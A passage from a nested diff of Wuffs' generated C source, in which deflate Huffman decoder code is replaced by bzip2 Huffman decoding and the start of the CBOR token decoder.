a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_table_entry = 0; -- uint32_t v_table_entry_n_bits = 0; -- uint64_t v_lmask = 0; -- uint64_t v_dmask = 0; -- uint32_t v_redir_top = 0; -- uint32_t v_redir_mask = 0; -- uint32_t v_length = 0; -- uint32_t v_dist_minus_1 = 0; -- uint32_t v_hlen = 0; -- uint32_t v_hdist = 0; -- uint32_t v_hdist_adjustment = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_node_index = 0; -+ uint16_t v_child = 0; -+ uint32_t v_child_ff = 0; -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ uint32_t v_output = 0; -+ uint32_t v_run = 0; -+ uint32_t v_mtft0 = 0; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -35920,160 +35584,101 @@ wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -- v_bits = ((uint64_t)(self->private_impl.f_bits)); -- v_n_bits = self->private_impl.f_n_bits; -- v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -- v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { -- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -- goto exit; -+ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow; -+ if (coro_susp_point) { -+ v_node_index = self->private_data.s_decode_huffman_slow.v_node_index; - } -- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); -- label__loop__continue:; -- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { -- v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); -- iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 31u) != 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 31u) != 0u) { -- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while ( ! (self->private_impl.p_decode_huffman_slow != 0)) { -+ if (self->private_impl.f_decode_huffman_ticks > 0u) { -+ self->private_impl.f_decode_huffman_ticks -= 1u; - } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- } else if ((v_table_entry >> 27u) != 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- v_length = (((v_table_entry >> 8u) & 255u) + 3u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- if (v_table_entry_n_bits > 0u) { -- v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } -- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- if ((v_table_entry >> 28u) == 1u) { -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- } -- if ((v_table_entry >> 24u) != 64u) { -- if ((v_table_entry >> 24u) == 8u) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -- goto exit; -+ self->private_impl.f_decode_huffman_ticks = 49u; -+ self->private_impl.f_decode_huffman_section += 1u; -+ if (self->private_impl.f_decode_huffman_section >= self->private_impl.f_num_sections) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); -+ goto exit; -+ } -+ self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[(self->private_impl.f_decode_huffman_section & 32767u)] & 7u))]; - } -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- goto exit; -- } -- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -- v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- do { -- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -- v_hlen = 0u; -- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -- if (v_length > v_hdist) { -- v_length -= v_hdist; -- v_hlen = v_hdist; -- } else { -- v_hlen = v_length; -- v_length = 0u; -+ v_node_index = 0u; -+ while (true) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -- v_hdist += v_hdist_adjustment; -- if (self->private_impl.f_history_index < v_hdist) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -- goto exit; -+ v_child = self->private_data.f_huffman_trees[self->private_impl.f_decode_huffman_which][v_node_index][(self->private_impl.f_bits >> 31u)]; -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ if (v_child < 257u) { -+ v_node_index = ((uint32_t)(v_child)); -+ continue; -+ } else if (v_child < 768u) { -+ v_child_ff = ((uint32_t)(((uint16_t)(v_child & 255u)))); -+ v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); -+ self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); -+ self->private_data.f_letter_counts[v_output] += 1u; -+ self->private_data.f_bwt[self->private_impl.f_block_size] = v_output; -+ if (self->private_impl.f_block_size >= self->private_impl.f_max_incl_block_size) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -+ goto exit; -+ } -+ self->private_impl.f_block_size += 1u; -+ self->private_impl.f_decode_huffman_run_shift = 0u; -+ break; -+ } else if (v_child == 768u) { -+ self->private_impl.f_decode_huffman_finished = true; -+ goto label__outer__break; - } -- wuffs_base__io_writer__limited_copy_u32_from_slice( -- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -- if (v_length == 0u) { -- goto label__loop__continue; -+ if (self->private_impl.f_decode_huffman_run_shift >= 23u) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -+ goto exit; - } -- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); -+ v_run = ((((uint32_t)(v_child)) & 3u) << self->private_impl.f_decode_huffman_run_shift); -+ self->private_impl.f_decode_huffman_run_shift += 1u; -+ v_i = self->private_impl.f_block_size; -+ v_j = (v_run + self->private_impl.f_block_size); -+ if (v_j > self->private_impl.f_max_incl_block_size) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); - goto exit; - } -+ self->private_impl.f_block_size = v_j; -+ v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); -+ self->private_data.f_letter_counts[v_mtft0] += v_run; -+ while (v_i < v_j) { -+ self->private_data.f_bwt[v_i] = v_mtft0; -+ v_i += 1u; -+ } -+ break; - } -- if ((v_dist_minus_1 + 1u) >= 8u) { -- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- } else if ((v_dist_minus_1 + 1u) == 1u) { -- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- } else { -- wuffs_base__io_writer__limited_copy_u32_from_history_fast( -- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -- } -- } while (0); -- } -- if (v_n_bits > 63u) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -- while (v_n_bits >= 8u) { -- v_n_bits -= 8u; -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- } else { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); -- goto exit; - } -- } -- self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); -- self->private_impl.f_n_bits = v_n_bits; -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ label__outer__break:; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_huffman_slow = 0; - goto exit; - } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_huffman_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_huffman_slow.v_node_index = v_node_index; -+ - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -36081,40 +35686,229 @@ wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( - return status; - } - --// -------- func deflate.decoder.decode_huffman_slow -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BZIP2) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_cbor__error__bad_input[] = "#cbor: bad input"; -+const char wuffs_cbor__error__unsupported_recursion_depth[] = "#cbor: unsupported recursion depth"; -+const char wuffs_cbor__error__internal_error_inconsistent_i_o[] = "#cbor: internal error: inconsistent I/O"; -+const char wuffs_cbor__error__internal_error_inconsistent_token_length[] = "#cbor: internal error: inconsistent token length"; -+ -+// ---------------- Private Consts -+ -+static const uint32_t -+WUFFS_CBOR__LITERALS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 8388612u, 8388616u, 8388610u, 8388609u, -+}; -+ -+static const uint8_t -+WUFFS_CBOR__TOKEN_LENGTHS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, -+ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, -+ 1u, 1u, 1u, 1u, 1u, 1u, 1u, 1u, -+ 2u, 3u, 5u, 9u, 0u, 0u, 0u, 1u, -+}; -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+// ---------------- VTables -+ -+const wuffs_base__token_decoder__func_ptrs -+wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__token_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_cbor__decoder__decode_tokens), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_cbor__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_cbor__decoder__set_quirk), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_cbor__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_cbor__decoder__initialize( -+ wuffs_cbor__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = -+ wuffs_base__token_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = -+ (const void*)(&wuffs_cbor__decoder__func_ptrs_for__wuffs_base__token_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_cbor__decoder* -+wuffs_cbor__decoder__alloc(void) { -+ wuffs_cbor__decoder* x = -+ (wuffs_cbor__decoder*)(calloc(1, sizeof(wuffs_cbor__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_cbor__decoder__initialize( -+ x, sizeof(wuffs_cbor__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_cbor__decoder(void) { -+ return sizeof(wuffs_cbor__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func cbor.decoder.get_quirk - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_slow( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_cbor__decoder__get_quirk( -+ const wuffs_cbor__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func cbor.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_cbor__decoder__set_quirk( -+ wuffs_cbor__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func cbor.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_cbor__decoder__workbuf_len( -+ const wuffs_cbor__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__empty_range_ii_u64(); -+} -+ -+// -------- func cbor.decoder.decode_tokens -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_cbor__decoder__decode_tokens( -+ wuffs_cbor__decoder* self, -+ wuffs_base__token_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_table_entry = 0; -- uint32_t v_table_entry_n_bits = 0; -- uint32_t v_lmask = 0; -- uint32_t v_dmask = 0; -- uint32_t v_b0 = 0; -- uint32_t v_redir_top = 0; -- uint32_t v_redir_mask = 0; -- uint32_t v_b1 = 0; -- uint32_t v_length = 0; -- uint32_t v_b2 = 0; -- uint32_t v_b3 = 0; -- uint32_t v_b4 = 0; -- uint32_t v_dist_minus_1 = 0; -- uint32_t v_b5 = 0; -- uint32_t v_n_copied = 0; -- uint32_t v_hlen = 0; -- uint32_t v_hdist = 0; -+ uint64_t v_string_length = 0; -+ uint64_t v_n64 = 0; -+ uint32_t v_depth = 0; -+ uint32_t v_stack_byte = 0; -+ uint32_t v_stack_bit = 0; -+ uint32_t v_stack_val = 0; -+ uint32_t v_token_length = 0; -+ uint32_t v_vminor = 0; -+ uint32_t v_vminor_alt = 0; -+ uint32_t v_continued = 0; -+ uint8_t v_c8 = 0; -+ uint8_t v_c_major = 0; -+ uint8_t v_c_minor = 0; -+ bool v_tagged = false; -+ uint8_t v_indefinite_string_major_type = 0; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* iop_a_dst = NULL; -+ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - if (a_dst && a_dst->data.ptr) { - io0_a_dst = a_dst->data.ptr; - io1_a_dst = io0_a_dst + a_dst->meta.wi; -@@ -36135,269 +35929,513 @@ wuffs_deflate__decoder__decode_huffman_slow( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_tokens; - if (coro_susp_point) { -- v_bits = self->private_data.s_decode_huffman_slow[0].v_bits; -- v_n_bits = self->private_data.s_decode_huffman_slow[0].v_n_bits; -- v_table_entry_n_bits = self->private_data.s_decode_huffman_slow[0].v_table_entry_n_bits; -- v_lmask = self->private_data.s_decode_huffman_slow[0].v_lmask; -- v_dmask = self->private_data.s_decode_huffman_slow[0].v_dmask; -- v_redir_top = self->private_data.s_decode_huffman_slow[0].v_redir_top; -- v_redir_mask = self->private_data.s_decode_huffman_slow[0].v_redir_mask; -- v_length = self->private_data.s_decode_huffman_slow[0].v_length; -- v_dist_minus_1 = self->private_data.s_decode_huffman_slow[0].v_dist_minus_1; -+ v_string_length = self->private_data.s_decode_tokens.v_string_length; -+ v_depth = self->private_data.s_decode_tokens.v_depth; -+ v_tagged = self->private_data.s_decode_tokens.v_tagged; -+ v_indefinite_string_major_type = self->private_data.s_decode_tokens.v_indefinite_string_major_type; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -+ if (self->private_impl.f_end_of_data) { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; - } -- v_bits = self->private_impl.f_bits; -- v_n_bits = self->private_impl.f_n_bits; -- v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -- v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -- label__loop__continue:; -- while ( ! (self->private_impl.p_decode_huffman_slow[0] != 0)) { -+ label__outer__continue:; -+ while (true) { - while (true) { -- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- if (v_n_bits >= v_table_entry_n_bits) { -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- break; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ do { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ goto label__outer__continue; - } -- uint32_t t_0 = *iop_a_src++; -- v_b0 = t_0; -- } -- v_bits |= (v_b0 << v_n_bits); -- v_n_bits += 8u; -- } -- if ((v_table_entry >> 31u) != 0u) { -- self->private_data.s_decode_huffman_slow[0].scratch = ((uint8_t)((v_table_entry >> 8u))); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (iop_a_dst == io2_a_dst) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- goto suspend; -- } -- *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow[0].scratch)); -- continue; -- } else if ((v_table_entry >> 30u) != 0u) { -- } else if ((v_table_entry >> 29u) != 0u) { -- self->private_impl.f_end_of_block = true; -- break; -- } else if ((v_table_entry >> 28u) != 0u) { -- v_redir_top = ((v_table_entry >> 8u) & 65535u); -- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -- while (true) { -- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -- v_table_entry_n_bits = (v_table_entry & 15u); -- if (v_n_bits >= v_table_entry_n_bits) { -- v_bits >>= v_table_entry_n_bits; -- v_n_bits -= v_table_entry_n_bits; -- break; -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ if (a_src && a_src->meta.closed) { -+ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ goto label__outer__continue; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if ((v_indefinite_string_major_type != 0u) && (v_indefinite_string_major_type != ((uint8_t)(v_c8 >> 5u)))) { -+ if (v_c8 != 255u) { -+ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -+ goto exit; - } -- uint32_t t_1 = *iop_a_src++; -- v_b1 = t_1; -+ v_vminor = 4194560u; -+ if (v_indefinite_string_major_type == 3u) { -+ v_vminor |= 19u; -+ } -+ v_indefinite_string_major_type = 0u; -+ iop_a_src += 1u; -+ *iop_a_dst++ = wuffs_base__make_token( -+ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -+ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -+ goto label__goto_parsed_a_leaf_value__break; - } -- v_bits |= (v_b1 << v_n_bits); -- v_n_bits += 8u; -- } -- if ((v_table_entry >> 31u) != 0u) { -- self->private_data.s_decode_huffman_slow[0].scratch = ((uint8_t)((v_table_entry >> 8u))); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (iop_a_dst == io2_a_dst) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- goto suspend; -+ iop_a_src += 1u; -+ v_c_major = ((uint8_t)(((uint8_t)(v_c8 >> 5u)))); -+ v_c_minor = ((uint8_t)(v_c8 & 31u)); -+ if (v_c_minor < 24u) { -+ v_string_length = ((uint64_t)(v_c_minor)); -+ } else { -+ while (true) { -+ if (v_c_minor == 24u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) >= 1u) { -+ v_string_length = 